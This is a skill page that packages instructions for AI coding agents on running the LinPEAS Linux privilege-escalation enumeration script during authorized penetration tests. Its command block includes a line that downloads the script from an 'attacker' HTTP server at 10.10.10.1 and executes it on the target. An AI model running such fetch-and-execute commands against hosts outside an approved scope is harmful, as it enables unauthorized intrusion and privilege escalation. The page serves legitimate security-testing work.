# Linpeas

> Use for Linux privilege-escalation enumeration during authorized pentests. Trigger on approved Linux host review, local misconfiguration discovery, and identifying practical privilege-escalation paths on a specific system.

- Skill: `timsonner/linpeas` (Agent Skill)
- Install (CLI): `npx skillmds@latest add timsonner/linpeas`
- Raw SKILL.md: https://api.skillmd.com/api/skills/timsonner/linpeas/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Product & Planning
- License: MIT
- Author: timsonner (https://skillmd.com/u/timsonner)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/timsonner/linpeas

---


# LinPEAS

## Purpose

Use this skill for host-local Linux privilege-escalation enumeration when the engagement includes approved access to a specific Linux system.

## Phase Fit

- Primary: Vulnerability Analysis
- Secondary: Validation and Controlled Impact Demonstration, Retest and Closure

## Use When

- Need to enumerate Linux misconfigurations or local escalation paths.
- Need a structured checklist for host-local privilege review.
- Need a repeatable retest after Linux hardening.

## Avoid When

- Host-local enumeration is not explicitly approved.
- The host is too sensitive for broad scripted checks.

## Inputs

- Approved Linux host and user context
- Execution and logging constraints
- Output handling requirements

## Procedure

1. Confirm the host and privilege boundary under review.
2. Run only within the approved host scope.
3. Triage results for practical, reachable escalation paths.
4. Manually validate material findings before escalation.
5. Preserve the exact host and execution context for retest.

## Command Syntax

Replace sample paths with the approved local script path.

```bash
# Run with default checks
bash linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh

# Run all checks and save output
./linpeas.sh -a 2>&1 | tee /tmp/linpeas_output.txt

# Transfer and run via attacker HTTP server
# On attacker: python3 -m http.server 8000
# On target:
curl http://10.10.10.1:8000/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh | tee /tmp/lp-out.txt
```

## Evidence to Capture

- Practical Linux privilege-escalation paths or misconfigurations
- Exact host and user context used
- Minimal proof needed for remediation

## Safety Boundaries

- Use only on approved hosts.
- Treat output as sensitive host evidence and avoid unnecessary state changes.